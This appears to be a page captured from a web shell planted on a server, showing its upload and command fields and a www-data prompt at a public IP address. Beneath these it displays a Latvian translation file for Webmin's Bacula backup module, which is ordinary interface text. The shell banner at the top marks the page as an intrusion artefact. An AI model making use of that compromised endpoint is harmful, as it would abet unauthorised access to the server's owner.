[ Avaa Bypassed ]




Upload:

Command:

www-data@52.15.179.198: ~ $
index_echeck=$1 Varbūt tas nav instalēts, vai <a href='$2'>moduļa konfigurācija</a> ir nepareiza.
index_edb=Neizdevās izveidot savienojumu ar Bacula datu bāzi: $1 Varbūt tā nav iestatīta, vai <a href='$2'>moduļa konfigurācija</a> ir nepareiza.
index_eng=Neizdevās izveidot savienojumu ar Bacula grupu datu bāzi: $1. Varbūt tā neeksistē, vai <a href='$2'>moduļa konfigurācija</a> ir nepareiza.
index_econsole=Bacula konsoles komanda $1 nevarēja sazināties ar Bacula direktoru. Pārliecinieties, vai parole $2 ir pareiza.
index_econsole2=Bacula konsoles komanda $1 nav konfigurēta ar derīgu Bacula Director resursdatoru. Pašlaik tas izmanto $2, kas neeksistē.
index_fixpass=Noklikšķiniet šeit, lai labotu konsoles paroli
index_fixaddr=Noklikšķiniet šeit, lai labotu Bacula Director resursdatoru
index_stop=Pietura Bacula
index_stopdesc=Noklikšķiniet uz šīs pogas, lai izslēgtu iepriekš uzskaitītos Bacula dēmonu procesus.
index_start=Sāciet Bacula
index_startdesc=Noklikšķiniet uz šīs pogas, lai sāktu iepriekš uzskaitītos Bacula dēmonu procesus.
index_restart=Restartējiet Bacula
index_restartdesc=Noklikšķiniet uz šīs pogas, lai apturētu un atsāktu iepriekš uzskaitītos Bacula dēmonu procesus. Tas var būt nepieciešams, lai aktivizētu atmiņas ierīces konfigurācijas.
index_apply=Lietot konfigurāciju
index_applydesc=Noklikšķiniet uz šīs pogas, lai aktivizētu iepriekš parādīto Bacula Director konfigurāciju.
index_boot=Sāciet sākoties
index_bootdesc=Mainiet šo opciju, lai kontrolētu, vai Bacula tiek sākta sistēmas sāknēšanas laikā.
index_status=Procesa statusi:
index_up=Augšā
index_down=Uz leju
index_return=moduļa indekss
index_versionbacula=Bacula $1 
index_versionbareos=Bareos $1 
index_notrun=Dublēšanu un citas operācijas nevar veikt, jo Bacula Directory dēmons nav darbojies.
index_eversion=Jūsu sistēma izmanto Bacula versiju $2, taču šis Webmin modulis atbalsta tikai versijas $1 un jaunākas.
index_dir=Direktora konfigurācija
index_sd=Krātuves dēmona konfigurācija
index_fd=Faila dēmona konfigurācija
index_groups=Bacula grupas konfigurācija
index_actions=Dublēšanas un atjaunošanas darbības
index_ocmin=Ieguldījis <a href=$2 target=_new>Linmin</a> </a>

connect_emysql=Neizdevās ielādēt datu bāzes DBI draiveri $1 
connect_elogin=Neizdevās pieteikties datu bāzē $1:$2.
connect_equery=Šķiet, ka datu bāzē $1 nav Bacula tabulas.
connect_equery2=Iespējams, tas ir tāpēc, ka uzstādītais SQLite Perl modulis ir pārāk jauns, un tas neatbalsta vecāku SQLite datu bāzes formātu, ko izmantoja Bacula.
connect_equery3=Šķiet, ka datu bāzē $1 nav OC Bacula grupas tabulas.
esql=SQL kļūda : $1 

check_edir=Bacula konfigurācijas direktorijs $1 jūsu sistēmā netika atrasts.
check_ebacula=Bakulas vadības komanda $1 netika atrasta.
check_econsole=Bakulas konsoles komanda $1 netika atrasta.
check_edirector=Netika atrasts Bacula Director konfigurācijas fails $1.
check_eclient=Šķiet, ka šī sistēma ir <a href='$2'>Bacula klients</a>, nevis direktors.
check_econfigs=$1 netika atrasti Bacula konfigurācijas faili
check_eservers=Webmin serveru grupas nav definētas
check_engmod=OpenCountry Bacula grupas modulis nav instalēts

proc_bacula-sd=Uzglabāšanas dēmons
proc_bacula-fd=Failu dēmons
proc_bacula-dir=Bacula direktora dēmons
proc_bareos-sd=Uzglabāšanas dēmons
proc_bareos-fd=Failu dēmons
proc_bareos-dir=Bacula direktora dēmons

stop_err=Neizdevās apturēt Bakulu
start_err=Neizdevās sākt Bacula
start_einit=$1 skripts nav atrasts
start_erun=Neizdevās sākt $1 : $2 
restart_err=Neizdevās atsākt Bacula
apply_err=Neizdevās piemērot konfigurāciju
apply_failed=Tika atklāta konfigurācijas kļūda
apply_problem=Neizdevās piemērot konfigurāciju : $1 

jobs_title=Rezerves darbi
jobs_none=Pagaidām nav definēts neviens rezerves darbs.
jobs_name=Darba nosaukums
jobs_deftype=Noklusējumi?
jobs_type=Darba veids
jobs_client=Klienta dublējums
jobs_fileset=Fails iestatīts uz dublējumu
jobs_schedule=Rezerves grafiks
jobs_add=Pievienojiet jaunu rezerves darbu.
jobs_delete=Dzēst atlasītos darbus
jobs_return=darba vietu saraksts
jobs_derr=Neizdevās izdzēst darbus

filesets_title=Failu kopas
filesets_none=Pagaidām nav definētas rezerves failu kopas.
filesets_name=Faila kopas nosaukums
filesets_files=Iekļautie faili
filesets_add=Pievienojiet jaunu dublējuma failu kopu.
filesets_delete=Dzēst atlasītās failu kopas
filesets_return=failu kopu saraksts
filesets_derr=Neizdevās izdzēst failu kopas
filesets_ednone=Nav atlasīts

fileset_title1=Izveidot failu kopu
fileset_title2=Rediģēt failu kopu
fileset_header=Dublējuma faila kopas informācija
fileset_egone=Failu komplekts vairs nepastāv!
fileset_name=Faila kopas nosaukums
fileset_include=Failu un direktoriju dublējums
fileset_exclude=Faili un direktorijas, ko izlaist
fileset_sig=Faila paraksta tips
fileset_none=Nav
fileset_md5=MD5
fileset_err=Neizdevās saglabāt failu kopu
fileset_ename=Trūkst faila kopas nosaukuma
fileset_eclash=Fails, kas izveidots ar tādu pašu nosaukumu, jau pastāv
fileset_echild=Šo failu kopu nevar izdzēst, jo to izmanto $1 
fileset_comp=Kompresijas tips
fileset_gzipdef=&lt;Noklusētais saspiešanas līmenis&gt;
fileset_lzo=LZO saspiešana
fileset_gzip=Gzip līmenis $1 
fileset_onefs=Ierobežot dublējumu tikai vienai failu sistēmai?

clients_title=Rezerves klienti
clients_none=Pagaidām nav definēti rezerves klienti.
clients_name=Klienta vārds
clients_address=Resursdatora nosaukums vai adrese
clients_catalog=Katalogs
clients_add=Pievienojiet jaunu rezerves klientu.
clients_delete=Dzēst atlasītos klientus
clients_return=klientu saraksts
clients_derr=Neizdevās izdzēst klientus

client_title1=Izveidot rezerves klientu
client_title2=Rediģēt rezerves klientu
client_header=Sīkāka informācija par klientu, kurš jāpapildina
client_egone=Klienta vairs nav!
client_name=Klienta FD nosaukums
client_address=Resursdatora nosaukums vai IP adrese
client_port=Bacula FD osta
client_pass=Bacula FD parole
client_catalog=Izmantojamais katalogs
client_prune=Ar apgrieztiem darbiem un failiem, kuriem beidzies derīguma termiņš?
client_fileret=Saglabājiet dublējuma failus
client_jobret=Saglabājiet rezerves darbus
client_err=Neizdevās saglabāt rezerves klientu
client_ename=Trūkst vai nav derīgs klienta vārds
client_eclash=Klients ar tādu pašu vārdu jau pastāv
client_epass=Trūkst paroles
client_eaddress=Trūkst vai nav derīgs resursdatora nosaukums vai adrese
client_eport=Trūkst vai nav derīgs FD ports
client_efileret=Trūkst vai nav derīgs faila saglabāšanas periods
client_ejobret=Trūkst vai nav derīgs darba saglabāšanas periods
client_echild=Šo klientu nevar izdzēst, jo to izmanto $1 
client_status=Rādīt statusu

job_title1=Izveidot rezerves darbu
job_title2=Rediģēt rezerves darbu
job_header=Rezerves darba informācija
job_name=Rezerves darba nosaukums
job_enabled=Dublēšanas darbs ir iespējots?
job_def=Noklusējuma tips
job_def0=Noklusējuma definīcija
job_def1=Patstāvīgs darbs
job_def2=Mantotie noklusējumi no $1 
job_type=Darba veids
job_level=Rezerves līmenis
job_client=Klienta dublējums
job_fileset=Fails iestatīts uz dublējumu
job_schedule=Dublēšana pēc grafika
job_storage=Galamērķa glabāšanas ierīce
job_pool=Tilpuma baseins
job_messages=Ziņojumu mērķis
job_prority=Rezerves prioritāte
job_err=Neizdevās saglabāt rezerves darbu
job_ename=Trūkst vai nav derīgs darba nosaukums
job_eclash=Darbs ar tādu pašu nosaukumu jau pastāv
job_epriority=Trūkst vai nav derīgs prioritātes numurs
job_echild=Šo noklusējuma darba definīciju nevar izdzēst, jo to izmanto $1 
job_run=Palaist tagad
job_before=Komanda pirms darba
job_after=Komanda pēc darba
job_cbefore=Komanda pirms darba (uz klienta)
job_cafter=Komanda pēc darba (uz klienta)

schedules_title=Rezerves grafiki
schedules_none=Pagaidām nav definēti rezerves grafiki.
schedules_name=Grafika nosaukums
schedules_sched=Palaist līmeņus un laikus
schedules_add=Pievienojiet jaunu rezerves grafiku.
schedules_delete=Dzēst atlasītos grafikus
schedules_return=grafiku saraksts
schedules_derr=Neizdevās izdzēst grafikus

schedule_title1=Izveidojiet dublēšanas grafiku
schedule_title2=Rediģēt dublēšanas grafiku
schedule_header=Rezerves grafika informācija
schedule_name=Rezerves grafika nosaukums
schedule_runs=Palaist līmeņus un laikus
schedule_level=Rezerves līmenis
schedule_pool=Apjoms
schedule_times=Reizēm skrien
schedule_err=Neizdevās saglabāt rezerves grafiku
schedule_ename=Trūkst vai nav derīgs grafika nosaukums
schedule_eclash=Grafiks ar tādu pašu nosaukumu jau pastāv
schedule_etimes=Trūkst rezerves reizes $1 rindā
schedule_echild=Šo grafiku nevar izdzēst, jo to izmanto $1 

backup_title=Palaist dublējuma darbu
backup_header=Rezerves darba informācija
backup_job=Darbs jāskrien
backup_jd=$1 (failu kopa $2 uz $3)
backup_wait=Gaidīt rezultātus?
backup_ok=Dublēt tūlīt
backup_run=Tiek sākts rezerves darbs $1 ..
backup_return=rezerves forma
backup_ejob=.. neizdevās atrast darbu!
backup_eok=.. darbu nevarēja sākt
backup_running=.. tagad darbojas rezerves darbs. Kad rezultāti būs pabeigti, rezultāti tiks parādīti zemāk.
backup_running2=.. fonā ir sākts dublēšanas darbs.
backup_done=.. dublējums pabeigts.
backup_failed=.. dublēšana netika pabeigta veiksmīgi. Sīkāku informāciju skatiet iepriekš redzamajā kļūdas ziņojumā.

gbackup_title=Palaist Bacula grupas rezerves darbu
gbackup_run=$2 klientu rezerves darba sākšana ..
gbackup_on=Rezerves darba veikšana klientam $1  :
gbackup_header=Bacula grupas rezerves darba informācija
gbackup_jd=$1 (failu kopa $2 grupā $3)

dirstatus_title=Režisora statuss
dirstatus_sched=Plānotais rezerves kopēšanas darbs
dirstatus_name=Darba nosaukums
dirstatus_type=Veids
dirstatus_level=Līmenis
dirstatus_date=Skrien plkst
dirstatus_date2=Sākās plkst
dirstatus_volume=Apjoms
dirstatus_schednone=Pašlaik nav plānoti rezerves darbi.
dirstatus_id=Darbības ID
dirstatus_status=Pašreizējais statuss
dirstatus_run=Rezerves darbu vadīšana
dirstatus_runnone=Pašlaik nedarbojas neviens rezerves darbs.
dirstatus_done=Pabeigtās rezerves kopijas
dirstatus_bytes=Izmērs
dirstatus_files=Datnes
dirstatus_status2=Statuss
dirstatus_donenone=Neviens rezerves darbs nav palaists.
dirstatus_cancel=Atcelt atlasītos darbus
dirstatus_refresh=Atsvaidzināt sarakstu

clientstatus_title=Klienta statuss
clientstatus_err=Neizdevās iegūt statusu no $1 : $2 
clientstatus_msg=Statuss no $1 : $2 
clientstatus_show=Rādīt klienta statusu:
clientstatus_ok=labi
clientstatus_on=$1 (uz $2)

storages_title=Uzglabāšanas dēmoni
storages_none=Pagaidām nav definēti uzglabāšanas dēmoni.
storages_name=Krātuves nosaukums
storages_address=Resursdatora nosaukums vai adrese
storages_device=Uzglabāšanas ierīce
storages_type=Materiāla tips
storages_add=Pievienojiet jaunu glabāšanas dēmonu.
storages_delete=Dzēst atlasītos krātuves dēmonus
storages_return=glabāšanas dēmonu saraksts
storages_derr=Neizdevās izdzēst uzglabāšanas dēmonus

storage_title1=Izveidot glabāšanas dēmonu
storage_title2=Rediģēt glabāšanas dēmonu
storage_header=Sīkāka informācija par attālās glabāšanas dēmonu
storage_egone=Uzglabāšanas dēmons vairs nepastāv!
storage_name=Glabāšanas dēmona nosaukums
storage_address=Resursdatora nosaukums vai IP adrese
storage_port=Bacula SD ports
storage_pass=Bacula SD parole
storage_device=Atmiņas ierīces nosaukums
storage_media=Multivides veida nosaukums
storage_maxjobs=Maksimālais vienlaicīgo darbu skaits
storage_other=Cits ..
storage_err=Neizdevās saglabāt krātuves dēmonu
storage_ename=Trūkst atmiņas dēmona nosaukuma
storage_eclash=Krātuves dēmons ar tādu pašu nosaukumu jau pastāv
storage_epass=Trūkst paroles
storage_eaddress=Trūkst vai nav derīgs resursdatora nosaukums vai adrese
storage_eport=Trūkst vai nav derīgs SD ports
storage_edevice=Trūkst atmiņas ierīces nosaukuma
storage_emedia=Trūkst multivides veida nosaukuma
storage_emaxjobs=Trūkst maksimāli vienlaicīgu darbu
storage_echild=Šo klientu nevar izdzēst, jo to izmanto $1 
storage_status=Rādīt statusu

devices_title=Glabāšanas ierīces
devices_none=Pagaidām nav definētas nevienas atmiņas ierīces.
devices_name=Ierīces nosaukums
devices_device=Ierīces fails vai direktorijs
devices_type=Materiāla tips
devices_add=Pievienojiet jaunu atmiņas ierīci.
devices_delete=Dzēsiet atlasītās atmiņas ierīces
devices_return=glabāšanas ierīču saraksts
devices_derr=Neizdevās izdzēst atmiņas ierīces

device_title1=Izveidot atmiņas ierīci
device_title2=Rediģēt atmiņas ierīci
device_header=Sīkāka informācija par failu glabāšanas ierīci
device_egone=Glabāšanas ierīce vairs nepastāv!
device_name=Atmiņas ierīces nosaukums
device_device=Arhīva ierīce vai direktorijs
device_media=Multivides veida nosaukums
device_label=Vai multivide tiek automātiski marķēta?
device_random=Nejaušas piekļuves vide?
device_auto=Vai uzstādīt automātiski?
device_removable=Noņemams datu nesējs?
device_always=Vienmēr turēt vaļā?
device_err=Neizdevās saglabāt atmiņas ierīci
device_ename=Trūkst atmiņas ierīces nosaukuma
device_eclash=Krātuves ierīce ar tādu pašu nosaukumu jau pastāv
device_emedia=Trūkst multivides veida nosaukuma
device_edevice=Trūkst vai nav derīga arhīva ierīce vai direktorijs
device_echild=Šo klientu nevar izdzēst, jo to izmanto $1 

storagestatus_title=Uzglabāšanas dēmona statuss
storagestatus_err=Neizdevās iegūt statusu no $1 : $2 
storagestatus_msg=Statuss no $1 : $2 
storagestatus_show=Rādīt glabāšanas dēmona statusu:
storagestatus_ok=labi

label_title=Etiķetes apjoms
label_header=Sīkāka informācija par marķējamo tilpumu
label_storage=Uzglabāšanas dēmonu marķēt
label_pool=Izveidot baseinā
label_label=Jauns etiķetes nosaukums
label_ok=Label Tagad
label_return=etiķetes forma
label_run=Tilpuma marķēšana ar $2 uzglabāšanas dēmonā $1.
label_estorage=.. glabāšanas dēmons netika atrasts!
label_eexists=.. norādītā etiķete jau pastāv.
label_efailed=.. marķēšana neizdevās! Pārbaudiet iepriekš redzamo kļūdas ziņojumu, lai uzzinātu iemeslu.
label_done=.. veiksmīga marķēšana.
label_epool=.. nevarēju atrast baseinu!
label_err=Iezīme neizdevās
label_elabel=Iezīme nav ievadīta

pools_title=Apjoma baseini
pools_none=Pagaidām nav definēti apjoma portfeļi.
pools_name=Baseina nosaukums
pools_type=Baseina tips
pools_reten=Saglabāšanas periods
pools_add=Pievienojiet jaunu tilpuma baseinu.
pools_delete=Dzēst atlasītos apjoma portfeļus
pools_return=tilpuma baseinu saraksts
pools_derr=Neizdevās izdzēst apjoma krājumus

pool_title1=Izveidot lielapjoma baseinu
pool_title2=Rediģēt apjoma baseinu
pool_header=Sīkāka informācija par rezerves apjoma rezervi
pool_egone=Apjoma baseins vairs nepastāv!
pool_name=Tilpuma baseina nosaukums
pool_recycle=Vai automātiski pārstrādāt apjomus?
pool_auto=Plūmju termiņš beidzies?
pool_any=Vai ir dublējums jebkuram baseina skaļumam?
pool_reten=Tilpuma saglabāšanas periods
pool_type=Tilpuma baseina tips
pool_max=Maksimālais darbu skaits apjomā
pool_unlimited=Neierobežots
pool_err=Neizdevās saglabāt atmiņas ierīci
pool_ename=Trūkst atmiņas ierīces nosaukuma
pool_eclash=Krātuves ierīce ar tādu pašu nosaukumu jau pastāv
pool_echild=Šo klientu nevar izdzēst, jo to izmanto $1 
pool_emax=Trūkst vai nav derīgs maksimālais darbu skaits vienā sējumā
pool_ereten=Trūkst vai nav derīgs saglabāšanas periods
pool_status=Rādīt apjomus
pool_autolabel=Automātiski iezīmēt apjoma prefiksu
pool_maxvolsize=Maksimālais skaļuma lielums (piemēram, 5 G uz 5 gigabaitiem)

poolstatus_title=Apjomi baseinā
poolstatus_show=Rādīt apjomus baseinā:
poolstatus_ok=labi
poolstatus_volumes=Apjomi izvēlētajā baseinā
poolstatus_name=Apjoma nosaukums
poolstatus_type=Materiāla tips
poolstatus_first=Pirmo reizi izmantots
poolstatus_last=Pēdējoreiz izmantots
poolstatus_bytes=Uzrakstīti baiti
poolstatus_status=Rezerves režīms
poolstatus_none=Šajā dublējuma baseinā pašlaik nav apjoma.
poolstatus_never=Nekad
poolstatus_delete=Dzēst atlasītos apjomus

dvolumes_err=Neizdevās izdzēst sējumus
dvolumes_enone=Nav atlasīts
dvolumes_ebacula=Bacula kļūda : $1 

mount_title=Uzstādīt vai noņemt
mount_header=Uzstādīšanas iespējas krātuvē vai noņemšana
mount_storage=Uzglabāšanas ierīce
mount_slot=Auto-loader slots
mount_noslot=Nav
mount_slotno=Laika numurs
mount_mount=Mount glabāšana
mount_unmount=Atvienot krātuvi
mount_run=Montāžas tilpums atmiņas ierīcē $1.
unmount_run=Atskaņošanas tilpums atmiņas ierīcē $1 tiek noņemts.
mount_done=.. uzstādīts veiksmīgi.
unmount_done=.. veiksmīgi atvienots.
mount_failed=.. uzstādīšana neizdevās! Iemeslu, kāpēc to darīt, skatiet iepriekš redzamajā kļūdas ziņojumā.
unmount_failed=.. noņemt neizdevās! Iemeslu, kāpēc to darīt, skatiet iepriekš redzamajā kļūdas ziņojumā.
mount_return=stiprinājuma forma
mount_err=Neizdevās uzstādīt atmiņas ierīci
mount_eslot=Trūkst vai nav derīgs laika nišas numurs

cancel_err=Neizdevās atcelt darbus
cancel_enone=Nav atlasīts

gjobs_title=Bacula grupas rezerves darbavietas
gjobs_none=Pagaidām nav definēts neviens Bacula grupas rezerves darbs.
gjobs_add=Pievienojiet jaunu Bacula grupas rezerves darbu.
gjobs_delete=Dzēst atlasītos darbus
gjobs_return=Bacula grupas darbu saraksts
gjobs_derr=Neizdevās izdzēst Bacula grupas darbus
gjobs_client=Bacula grupas dublējums

gjob_title1=Izveidojiet Bacula grupas rezerves darbu
gjob_title2=Rediģēt Bacula grupas rezerves darbu
gjob_header=Bacula grupas rezerves darba informācija
gjob_client=Bacula grupas dublējums

groups_title=Bacula grupas
groups_none=Bacula vēl nav izvēlējusies nevienu Bacula grupu dublēšanai.
groups_name=Grupas nosaukums
groups_port=FD ports
groups_add=Pievienot Bacula grupu:
groups_ok=Pievienot
groups_catalog=Katalogs
groups_delete=Dzēst atlasītās Bacula grupas
groups_return=grupu saraksts
groups_derr=Neizdevās izdzēst grupas
groups_noadd=Nav Bacula grupas, kuras varētu atlasīt dublēšanai.
groups_info=$1 ($2 dalībnieki)
groups_already=Visas Bacula grupas jau ir pievienotas.

group_title1=Izveidot Bacula grupu
group_title2=Rediģēt Bacula grupu
group_header=Sīkāka informācija par Bacula grupu, kas jāpapildina
group_egone=Grupas vairs nav!
group_egone2=Bacula grupa vairs nepastāv!
group_name=Bacula grupas nosaukums
group_port=Bacula FD osta
group_err=Neizdevās saglabāt Bacula grupu
group_eclash=Grupa ar tādu pašu nosaukumu jau pastāv
group_members=Saimnieki Bacula grupā

sync_title=Bacula grupas sinhronizācija
sync_header=Automātiskas Bacula grupas klientu sinhronizācijas iespējas
sync_sched=Sinhronizēt pēc grafika?
sync_schedyes=Jā, reizēm, kas atlasītas zemāk.
sync_err=Neizdevās saglabāt Bacula grupas sinhronizāciju

log_create_client=Izveidots rezerves klients $1 
log_modify_client=Pārveidots rezerves klients $1 
log_delete_client=Izdzēsts rezerves klients $1 
log_delete_clients=Izdzēsti $1 rezerves klienti
log_create_fileset=Izveidots failu komplekts $1 
log_modify_fileset=Pārveidota faila kopa $1 
log_delete_fileset=Izdzēsta faila kopa $1 
log_delete_filesets=Izdzēstas $1 failu kopas
log_create_job=Izveidots rezerves darbs $1 
log_modify_job=Modificēts rezerves darbs $1 
log_delete_job=Izdzēsts rezerves darbs $1 
log_delete_jobs=Izdzēsti $1 rezerves darbi
log_create_schedule=Izveidots rezerves grafiks $1 
log_modify_schedule=Pārveidots rezerves grafiks $1 
log_delete_schedule=Izdzēsts rezerves grafiks $1 
log_delete_schedules=Izdzēsti $1 rezerves grafiki
log_create_pool=Izveidots tilpuma fonds $1 
log_modify_pool=Modificēts tilpuma fonds $1 
log_delete_pool=Dzēsts apjoma fonds $1 
log_delete_pools=Izdzēsti $1 apjoma krājumi
log_create_storage=Izveidots krātuves dēmons $1 
log_modify_storage=Pārveidots krātuves dēmons $1 
log_delete_storage=Izdzēsts krātuves dēmons $1 
log_delete_storages=Izdzēsti $1 glabāšanas dēmoni
log_create_device=Izveidota atmiņas ierīce $1 
log_modify_device=Pārveidota atmiņas ierīce $1 
log_delete_device=Izdzēsta atmiņas ierīce $1 
log_delete_devices=Dzēstas $1 atmiņas ierīces
log_create_group=Izveidota Bacula grupa $1 
log_modify_group=Pārveidota Bacula grupa $1 
log_delete_group=Svītrota Bacula grupa $1 
log_delete_groups=Izdzēstas $1 Bacula grupas
log_create_gjob=Izveidots Bacula grupas rezerves darbs $1 
log_modify_gjob=Modificēts Bacula grupas rezerves darbs $1 
log_delete_gjob=Izdzēsts Bacula grupas rezerves darbs $1 
log_delete_gjobs=Izdzēsti $1 Bacula grupas rezerves darbi
log_create_fdirector=Izveidots faila direktorija $1 fails
log_modify_fdirector=Pārveidots faila dēmona režisors $1 
log_delete_fdirector=Dzēsts faila dēmona režisors $1 
log_delete_fdirectors=Izdzēsti $1 failu dēmonu direktori
log_create_sdirector=Izveidots krātuves dēmona direktors $1 
log_modify_sdirector=Modificēts krātuves dēmona direktors $1 
log_delete_sdirector=Izdzēsts krātuves dēmona direktors $1 
log_delete_sdirectors=Tika izdzēsti $1 krātuves dēmonu direktori
log_stop=Apstādināti Bacula dēmoni
log_start=Sākās Bacula dēmoni
log_apply=Lietotā konfigurācija
log_restart=Restartēti Bacula dēmoni
log_backup=Sākts rezerves darbs $1 
log_gbackup=Sākts Bacula grupas rezerves darbs $1 
log_label=Iezīmēts datu glabāšanas dēmons $1 
log_mount=Uzstādīta atmiņas ierīce $1 
log_unmount=Neuzmontēta atmiņas ierīce $1 
log_sync=Saglabātā Bacula grupas sinhronizācija
log_director=Saglabāta Bacula režisora globālā konfigurācija
log_file=Saglabāta Bacula failu dēmona konfigurācija
log_storagec=Saglabāta Bacula uzglabāšanas dēmona konfigurācija
log_fixpass=Fiksēta Bacula konsoles programmas parole

director_title=Direktora konfigurācija
director_header=Globālās Bacula režisora iespējas
director_name=Režisora vārds
director_port=Klausieties ostā
director_jobs=Maksimālais vienlaicīgo darbu skaits
director_messages=Ziņojumu mērķis
director_enone=Netika atrasta neviena režisora konfigurācija.
director_dir=Bacula darba katalogs
director_err=Neizdevās saglabāt direktorija konfigurāciju
director_ename=Trūkst vai nav derīgs režisora vārds
director_eport=Trūkst vai nav derīgs porta numurs
director_ejobs=Trūkst vai nav derīgs vienlaikus esošo darbu skaits
director_edir=Trūkst vai vispār nav darba direktorija

tls_enable=Vai iespējot TLS šifrēšanu?
tls_require=Vai pieņemt tikai TLS savienojumus?
tls_verify=Vai pārbaudāt TLS klientus?
tls_cert=TLS PEM sertifikāta fails
tls_key=TLS PEM atslēgas fails
tls_cacert=TLS PEM sertifikāta autorizācijas fails
tls_none=Nav
tls_ecert=Trūkst vai nav TLS sertifikāta faila
tls_ekey=Trūkst vai nav TLS atslēgas faila
tls_ecacert=Trūkst vai nav TLS SI sertifikāta faila
tls_ecerts=Lai TLS būtu iespējots, ir jāprecizē sertifikātu, atslēgu un CA faili

file_title=Faila dēmona konfigurācija
file_header=Bacula failu dēmonu opcijas
file_name=Faila dēmona nosaukums
file_port=Klausieties ostā
file_jobs=Maksimālais vienlaicīgo darbu skaits
file_dir=Bacula darba katalogs
file_enone=Nav atrasta failu dēmonu konfigurācija.
file_err=Neizdevās saglabāt faila dēmona konfigurāciju
file_ename=Trūkst vai nav derīgs faila dēmona nosaukums
file_eport=Trūkst vai nav derīgs porta numurs
file_ejobs=Trūkst vai nav derīgs vienlaikus esošo darbu skaits
file_edir=Trūkst vai vispār nav darba direktorija

fdirectors_title=File Daemon direktori
fdirectors_none=Direktori vēl nav definēti.
fdirectors_name=Režisora vārds
fdirectors_pass=Pieņemtā parole
fdirectors_add=Pievienojiet jaunu direktoru.
fdirectors_delete=Dzēst atlasītos direktorus
fdirectors_return=direktoru saraksts
fdirectors_derr=Neizdevās izdzēst direktorus

fdirector_title1=Izveidot File Daemon Director
fdirector_title2=Rediģēt File Daemon Director
fdirector_header=Sīkāka informācija par tālvadības direktora vadību
fdirector_egone=Direktora vairs nav!
fdirector_name=Režisora vārds
fdirector_pass=Pieņemtā parole
fdirector_monitor=Vai atļaut tikai pārraudzības savienojumu?
fdirector_err=Neizdevās saglabāt faila dēmona direktoru
fdirector_ename=Trūkst režisora vārda
fdirector_eclash=Režisors ar tādu pašu vārdu jau pastāv
fdirector_epass=Trūkst paroles

sdirectors_title=Storage Daemon direktori
sdirectors_none=Direktori vēl nav definēti.
sdirectors_name=Režisora vārds
sdirectors_pass=Pieņemtā parole
sdirectors_add=Pievienojiet jaunu direktoru.
sdirectors_delete=Dzēst atlasītos direktorus
sdirectors_return=direktoru saraksts
sdirectors_derr=Neizdevās izdzēst direktorus

sdirector_title1=Izveidot Storage Daemon Director
sdirector_title2=Rediģēt Storage Daemon Director
sdirector_header=Sīkāka informācija par tālvadības direktora vadību
sdirector_egone=Direktora vairs nav!
sdirector_name=Režisora vārds
sdirector_pass=Pieņemtā parole
sdirector_monitor=Vai atļaut tikai pārraudzības savienojumu?
sdirector_err=Neizdevās saglabāt krātuves dēmona direktoru
sdirector_ename=Trūkst režisora vārda
sdirector_eclash=Režisors ar tādu pašu vārdu jau pastāv
sdirector_epass=Trūkst paroles

storagec_title=Krātuves dēmona konfigurācija
storagec_header=Bacula uzglabāšanas dēmona iespējas
storagec_name=Dēmona vārds
storagec_port=Klausieties ostā
storagec_jobs=Maksimālais vienlaicīgo darbu skaits
storagec_enone=Netika atrasta uzglabāšanas dēmona konfigurācija.
storagec_dir=Bacula darba katalogs
storagec_err=Neizdevās saglabāt atmiņas dēmona konfigurāciju
storagec_ename=Trūkst vai nav derīgs krātuves dēmona nosaukums
storagec_eport=Trūkst vai nav derīgs porta numurs
storagec_ejobs=Trūkst vai nav derīgs vienlaikus esošo darbu skaits
storagec_edir=Trūkst vai vispār nav darba direktorija

chooser_title=Atlasiet Kalendārs
chooser_monthsh=Izpildes mēneši
chooser_months=Gada mēneši
chooser_all=Visi
chooser_sel=Atlasīts zemāk ..
chooser_ok=labi
chooser_timeh=Izpildes laiks
chooser_time=Stunda un minūte
chooser_weekdaysh=Izpildīšanas nedēļas dienas
chooser_weekdays=Nedēļas dienas
chooser_weekdaynums=Skaitļi mēnesī
chooser_daysh=Izpildes mēneša dienas
chooser_days=Datumi
chooser_err=Neizdevās atlasīt grafiku
chooser_emonths=Nav izvēlēts neviens mēnesis
chooser_eweekdays=Nav izvēlēta neviena darba diena
chooser_eweekdaynums=Neviens nedēļas dienu numurs nav izvēlēts
chooser_edays=Nav izvēlēta mēneša diena
chooser_ehour=Trūkst vai nav derīga dienas stunda
chooser_eminute=Trūkst vai nav derīga minūte
chooser_emonthsrange=Izvēlētajiem mēnešiem jābūt blakus
chooser_eweekdaysrange=Atlasītajām darba dienām jābūt blakus
chooser_eweekdaynumsrange=Atlasītajiem darba dienu numuriem jābūt blakus
chooser_edaysrange=Atlasītajām mēneša dienām jābūt blakus

weekdaynum_1=Pirmkārt
weekdaynum_2=Otrkārt
weekdaynum_3=Trešais
weekdaynum_4=Ceturtais
weekdaynum_5=Piektais

restore_title=Atjaunot dublējumu
restore_title2=Atjaunot Bacula grupas dublējumu
restore_title3=Atjaunot Bacula grupas dublējumu
restore_header=Iespējas iepriekšējā rezerves darba atjaunošanai
restore_job=Darbs atjaunot
restore_files=Atjaunojamie faili
restore_client=Atjaunot klientam vai grupai
restore_storage=Atjaunot no atmiņas ierīces
restore_where=Atjaunot direktorijā
restore_where2=Cita saknes direktorija
restore_ewhere=Trūkst direktorija, kurā atjaunot
restore_ok=Atjaunot tūlīt
restore_err=Neizdevās atjaunot dublējumu
restore_efiles=Nav ievadīts neviens fails
restore_ejob=Nederīgs darba ID
restore_ejobfiles=Nav ierakstīts neviens darbs
restore_run=Sākas $1 darba atjaunošana klientam $2 no krātuves $3.
restore_return=atjaunot formu
restore_eok=.. darbu nevarēja sākt
restore_running=.. atjaunošana tagad darbojas. Kad rezultāti būs pabeigti, rezultāti tiks parādīti zemāk.
restore_running2=.. atjaunošana ir sākta fonā.
restore_done=.. atjaunot pabeigts.
restore_failed=.. atjaunošana nav pabeigta veiksmīgi. Sīkāku informāciju skatiet iepriekš redzamajā kļūdas ziņojumā.
restore_clist=- klienti--
restore_glist=--Bacula grupas -
restore_eclient=Nav atlasīts neviens klients vai Bacula grupa
restore_egroup=Bakulas grupa nepastāv
restore_jlist=--Sistēmas darbs -
restore_njlist=--Bacula grupu darbi -
restore_all=- Visi klienti grupā -
restore_eclients=Netika atrasts neviens Bacula grupas rezerves dalībnieks.
restore_eall1=Veicot Bacula grupas darba atjaunošanu, <b>Atjaunot klientam vai grupai</b> ir jāizvēlas <b>Visi klienti dublējumā</b>.
restore_eall2=Iespēju <b>Visi klienti dublējumā</b> var atlasīt tikai <b>Atjaunot klientam vai grupai</b>, veicot Bacula grupas darba atjaunošanu
restore_enofiles=Neviens no atlasītajiem failiem nav dublējumkopijā
restore_level_F=Pilns
restore_level_D=Diferenciālis
restore_level_I=Papildu

